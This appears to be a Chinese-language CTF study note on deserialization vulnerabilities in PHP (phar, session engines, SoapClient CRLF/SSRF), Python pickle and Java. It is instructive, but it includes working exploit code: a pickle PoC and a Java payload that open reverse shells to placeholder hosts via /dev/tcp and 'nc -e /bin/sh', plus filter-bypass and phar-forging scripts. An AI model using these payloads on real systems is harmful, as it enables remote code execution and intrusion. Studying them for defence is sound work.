反序列化

概念:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。

问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

序列化格式

对象类型:对象名长度:”对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:”变量名2”; 参数2类型:参数2长度:参数2;… …}

如:

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;} a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

对象类型:Class-O,Array-a。

变量和参数类型:string-s,int-i,Array-a,引用-R。

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

类型结构
Strings:size:value;
Integeri:value;
Booleanb:value;(保存1或0)
NullN;
Arraya:size:{key definition;value definition;(repeated per element)}
ObjectO:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
ReferenceR:2;

三种访问控制的区别

public: 变量名

protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名%00 + * + %00 + 变量名

private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名%00 + 类名 + %00 + 变量名

注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct()  #每次创建新对象时先调用此方法
__destruct() #某个对象的所有引用都被删除或者销毁时调用(没有变量指到当前对象时也会被触发,如 a:2:{i:0;O:4:"User":0:{}i:0;s:3:"xxx";},被覆盖后没有变量指向User对象)
__toString() #把类被当做一个字符串使用时调用
__wakeup() #使用unserialize函数,反序列化恢复对象之前时调用
__sleep() #使用serialize()函数,序列化对象之前时调用
__call() #在对象中,调用不存在的方法或调用权限不足时调用
__callstatic() #在静态上下文中,调用不可访问的方法时触发
__get() #访问不存在的成员变量时调用
__set() #设置不存在的成员变量时调用
__invoke() #当尝试以调用函数的方式调用一个对象时触发
__autoload() #尝试加载未定义的类
__isset() #在不可访问的属性上调用isset()或empty()触发
__unset() #在不可访问的属性上使用unset()时触发

绕过方法

  • __wakeup()失效
    1. PHP5<5.6.25 或 PHP7<7.0.10

      当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。

      如:O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

    2. Serialize 特性:O 改为 C

      bypass __wakeup

  • 绕过preg_match()

    可使用+<绕过正则,如:

    O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

    O:<4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

  • 绕过关键字

    PHP序列化中存在序列化类型 S,相较于小写的 s,大写 S 是escaped字符串,会将 \xx 形式作为一个16进制字符处理,如:

    n 的十六进制是 6e,所以把 name替换为 \6eame 即可绕过。

  • 绕过 throw new Exception
    • 去掉最后的大括号,利用反序列化报错来防止进入 Exception

    • GC

      a:2:{i:0;O:7:"getflag":{}i:0;N;}

      因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为getflag对象,同时我们又将Array[0]设置为null,这样前面的getflag对象便丢失了引用,就会被GC所捕获,便可以执行__destruct

  • 绕过 md5+sha1 验证

    判断条件:

    1
    2
    3
    if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ) {
    eval($this->var1);
    }

    传入2个不相等对象,但是他们的 __toString 魔法函数返回的一样,可以绕过 if,且eval转为字符串时我们也使其可以被执行。

    查找带 __toString 的类,满足的有 Exception/ErrorException/Error/ParseError/mysqli_sql_exception 等,以 Exception 为例,construct函数为:

    public function __construct($message = "", $code = 0, Throwable $previous = null)

    它返回的是一个字符串类型的异常信息,可以控制传入 messagecode 的值不同即可。

    1
    2
    3
    $cmd ='system("cat /flag");?>';
    $ex1 = new Exception($cmd);
    $ex2 = new Exception($cmd,1);
  • unserialize_callback_func + spl_autoload

    php manual 里面有一个很有趣的变量配置,如果在反序列化的时候需要实例化一个未定义的类,可以设置回调函数以供调用,最关键的是这个配置是 PHP_IN_ALL 的,所以可以直接通过 ini_set 来设置。

    注意: unserialize_callback_func 指令

    如果在反序列化的时候需要实例化一个未定义类,则可以设置回调函数以供调用(以免得到的是不完整的 object “__PHP_Incomplete_Class”)。可通过 php.ini、ini_set() 或 .htaccess 定义‘unserialize_callback_func’。每次实例化一个未定义类时它都会被调用。若要禁止这个特性,只需置空此设定。

    可以通过 spl_autoload 来自动加载未定义的类 settings,会默认加载当前目录下,以settings类名为文件名,php 或者 inc 为后缀的文件,这样就和 settings.inc 联系到了一起。

    spl_autoload — __autoload()函数的默认实现

    spl_autoload ( string $class_name , string $file_extensions = ? ) : void

    file_extensions: 在默认情况下,本函数先将类名转换成小写,再在小写的类名后加上 .inc 或 .php 的扩展名作为文件名,然后在所有的包含路径(include paths)中检查是否存在该文件。

反序列化字符逃逸

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function filter($string){
return str_replace('x','yy',$string);
}

$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);

var_dump(serialize($user));
echo '\n';

$r = filter(serialize($user));

var_dump($r);
echo '\n';

var_dump(unserialize($r));
  1. 正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

  2. 那如果把 username 换成 peri0dxxx ,其处理后的序列化结果为

    a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}

    这个时候肯定会反序列化失败,可以看到 s:9:"peri0dyyyyyy" 比以前多了 3 个字符。

  3. 回到前面, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

    它在进行修改密码之后就变为

    a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}

  4. 可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20

  5. 假设要在 peri0d 后面填充 4 个字符,那么就是

    s:30:'peri0dxxxx";i:1;s:6:"123456";}';

    在经过处理之后就是

    s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';

    读取 30 个字符为 peri0dyyyyyyyy";i:1;s:6:"12345

  6. 这就需要继续增加填充字符,在有 20x 时,就实现了密码的修改。

    $6+x+20=6+2x \Rightarrow x=20$

    20191112223227-402c9c0c-0559-1

  7. 可以看到,这和 username 前面的 peri0d毫无关系的,只和做替换的字符串有关

phar反序列化

phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。

流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化

最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。

利用条件

  • phar文件要能够上传到服务器端。能触发的文件操作函数:

    include、file_get_contents、file_put_contents、copy、file、file_exists、is_executable、is_file、is_dir、is_link、is_writable、fileperms、fileinode、filesize、fileowner、filegroup、fileatime、filemtime、filectime、filetype、getimagesize、exif_read_data、stat、lstat、touch、md5_file

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

生成phar文件

首先得生成一个含有序列化metadata的phar文件。php提供一个类允许我们处理phar文件相关操作。注意要设置php.ini中phar.readonly=Off

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class User {
Public $name
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->name = 'JrXnm';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

tar包装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class User {
Public $name
}

$o = new User();
$o->name = 'JrXnm';
@unlink("phar.tar");
@system('rm -r .phar');
@system('mkdir .phar');
file_put_contents('.phar/.metadata',serialize($o));
system('tar -cf phar.tar .phar/*');

// phar://./phar.tar
// phar:///var/www/html/uploads/phar.tar

zip包装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class User {
Public $name
}

$o = new User();
$o->name = 'JrXnm';
$d = serialize($o);
if(file_exists('phar.zip')) {
@unlink("phar.zip");
}
$zip = new ZipArchive;
$res = $zip->open('phar.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($d);
$zip->close();

// phar://./phar.zip
// phar:///var/www/html/uploads/phar.zip

上传到服务器

phar文件是很容易绕过上传限制的,首先它的后缀是不限制的,改成什么phar://协议都可以解析。

前面这个标志的格式为xxx<?php xxx; __HALT_COMPILER();?> 前面内容不限,这样可以在前面添加注入GIF98a这样的文件头绕过上传限制。

反序列化执行

直接执行测试的那份代码,phar://协议在file_get_contents函数中解析phar文件,将元数据反序列化执行魔法函数。

绕过

  • phar://不能出现在首部

    1
    2
    3
    compress.zlib://phar://
    compress.bzip2://phar://
    php://filter/resource=phar://
  • 关键字

    绕过如 HALT_COMPILER,使用 gzip 命令处理phar文件:

    gzip phar.jpg

    参考:从一道题再看phar的利用

  • 修改phar文件

    改phar文件内容,因phar文件是有检验和的,所以直接改phar文件内容不可行。

    参考:总结 - ctf中php的phar(一)

    修复签名数据:

    1
    2
    3
    4
    5
    6
    from hashlib import sha1
    f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
    s = f[:-28] # 获取要签名的数据
    h = f[-8:] # 获取签名类型以及GBMB标识
    newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
    open('ph2.phar', 'wb').write(newf) # 写入新文件

    构造phar结构:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    from zlib import crc32
    from struct import pack
    from time import time
    from hashlib import md5, sha1, sha256, sha512


    class PHAR:
    # 一些常量
    STUB = b"__HALT_COMPILER(); ?>"
    GBMB = b"GBMB"
    MD5 = b"\x01\x00\x00\x00"
    SHA1 = b"\x02\x00\x00\x00"
    SHA256 = b"\x03\x00\x00\x00"
    SHA512 = b"\x04\x00\x00\x00"

    def __init__(self,
    prefix: str,
    manifestData: dict,
    filesData: list,
    signatureType: MD5
    ):
    self.prefix = prefix.encode()
    self.manifestData = manifestData
    self.filesData = filesData
    self.signatureType = signatureType

    def parse(self):

    # 检查清单的参数
    if any(self.manifestData.get(each) is None for each in ["loc", "metaData"]):
    return False
    # 至少要归档一个文件
    if len(self.filesData) == 0:
    return False
    # 遍历检查文件的参数
    for file in self.filesData:
    if any(file.get(each) is None for each in ["fileName", "fileContent", "loc", "metaData"]):
    return False

    # 将字符串转换字节流
    self.manifestData["metaData"] = self.manifestData["metaData"].encode()
    for file in self.filesData:
    for key, value in file.items():
    if key in ["fileName", "fileContent", "metaData"]:
    file[key] = value.encode()

    return True

    def generate(self):

    # 检查参数
    if not self.parse():
    return b""

    phar = b""
    # stub
    stub = self.stub()
    # manifest
    manifest = self.manifest()
    files = self.file()
    # content
    contents = self.content()
    # 计算总长度
    manifest = pack("I", len(manifest + files + contents)) + manifest[4:]
    # signature
    signature = self.signature(stub + manifest + files + contents)
    # 重新拼接
    phar += stub + manifest + files + contents + signature

    return phar

    def stub(self):
    return self.prefix + self.STUB + b"\r\n"

    def manifest(self):

    # 归档文件数量
    manifest = pack("I", len(self.filesData))
    # 版本
    manifest += b"\x11\x00"
    # 标识
    manifest += b"\x00\x00\x01\x00"
    # 别名长度
    manifest += b"\x00\x00\x00\x00"

    # 如果将序列化内容存储于此
    if self.manifestData["loc"]:
    # metadata长度
    manifest += pack("I", len(self.manifestData["metaData"]))
    # metadata内容
    manifest += self.manifestData["metaData"]
    else:
    manifest += pack("I", 0)

    # 补足长度
    manifest = pack("I", 0) + manifest

    return manifest

    def file(self):

    files = b""

    # 遍历归档的文件
    for file in self.filesData:
    # 文件名长度
    files += pack("I", len(file["fileName"]))
    # 文件名
    files += file["fileName"]
    # 未压缩大小
    files += pack("I", len(file["fileContent"]))
    # 时间戳
    files += pack("I", int(time()))
    # 压缩后大小
    files += pack("I", len(file["fileContent"]))
    # CRC32校验
    files += pack("I", crc32(file["fileContent"]))
    # 文件权限
    files += pack("I", 0o666)

    # 如果将序列化内容存储于此
    if file["loc"]:
    # metadata长度
    files += pack("I", len(file["metaData"]))
    # metadata内容
    files += file["metaData"]
    else:
    files += pack("I", 0)

    return files

    def content(self):

    contents = b""

    # 遍历所有归档文件
    for file in self.filesData:
    contents += file["fileContent"]

    return contents

    def signature(self, content):

    signature = b""

    # 签名内容
    if self.signatureType == self.MD5:
    signature = md5(content).digest()
    if self.signatureType == self.SHA1:
    signature = sha1(content).digest()
    if self.signatureType == self.SHA256:
    signature = sha256(content).digest()
    if self.signatureType == self.SHA512:
    signature = sha512(content).digest()
    # 签名标志
    signature += self.signatureType
    # GBMB标志
    signature += self.GBMB

    return signature


    if __name__ == '__main__':
    pharData = {
    "prefix": "123",
    "manifestData": {
    "loc": True,
    "metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
    },
    "filesData": [
    {
    "fileName": "e.txt",
    "fileContent": "dsadawada",
    "loc": True,
    "metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
    },
    {
    "fileName": "c.txt",
    "fileContent": "123",
    "loc": True,
    "metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
    },
    ],
    "signatureType": PHAR.SHA1,
    }
    p = PHAR(**pharData).generate()
    with open("a.phar", "wb") as f:
    f.write(p)

PHP session反序列化

PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]来进行命名的。

有三种方式:

  • 默认使用php:键名|键值(经过序列化函数处理的值)

    name|s:6:"1FonlY";

  • php_serialize:经过序列化函数处理的值

    a:1:{s:4:"name";s:6:"1FonlY";}

  • php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值

    names:6:"1FonlY";

    不可显的为EOT ,name的长度为4 4在ASCII 表中就是 EOT

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。

比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;}

如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;},在使用php_serialize 引擎的时候,

序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";}

这时,将a:1:{s:4:"name";s:31:" 当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击。

Soap反序列化

SOAP : Simple Object Access Protocol简单对象访问协议。

采用HTTP作为底层通讯协议,XML作为数据传送的格式,正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法。

CRLF漏洞

SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制。

Content-TypeSOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据。

在header里User-AgentContent-Type前面,user_agent同样可以注入CRLF,控制Content-Type的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
//$aaa = str_replace('&','&',$aaa);
echo $aaa;
//echo urlencode($aaa);

//$c = unserialize($aaa);
//$c->not_exists_function();
?>

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

python反序列化

与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。

python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。

与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。

pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

1
2
3
4
5
6
7
8
9
10
# poc
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('bash -c \"bash -i >& /dev/tcp/[IP]/[Port] 0>&1\"')",))
poc = A()
result = pickle.dumps(poc)
result = base64.b64encode(result)
print(result)

参考:

Python-Pickle反序列化安全问题

pickle反序列化初探

Code-Breaking中的两个Python沙箱

pickle反序列化—高校抗“疫”网络安全分享赛

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

Java反序列化

Java序列化是指把Java对象转换为字节序列的过程,ObjectOutputStream 类的 writeObject() 方法可以实现序列化。

Java反序列化是指把字节序列恢复为Java对象的过程,ObjectOutputStream 类的 readObject() 方法用于反序列化。

一个类要能反序列化必须满足下面2个条件:

  1. 该类必须实现 java.io.Serializable 接口;
  2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class User implements Serializable {
private String username;
public User(String username) {
this.username = username;
}
public String getName(){
return this.username;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}
}

package com.ctfshow.entity;

public class UserPayload {
public static void main(String[] args) throws Exception {
String userDataPost = null;
User user = new User("nc IP Port -e /bin/sh");
try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(byteArrayOutputStream);
os.writeObject(user);
os.close();
byte[] userData = byteArrayOutputStream.toByteArray();
userDataPost = new String(Base64.getEncoder().encode(userData));
System.out.println(userDataPost);
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

}
}

绕过

  • readUnshared()

    readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。

JDBC反序列化

MySQL客户端jdbc反序列化漏洞

框架反序列化(CVE)

PHPGGC

PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具。

PHPGGC: PHP Generic Gadget Chains

从0到1掌握反序列化工具之PHPGGC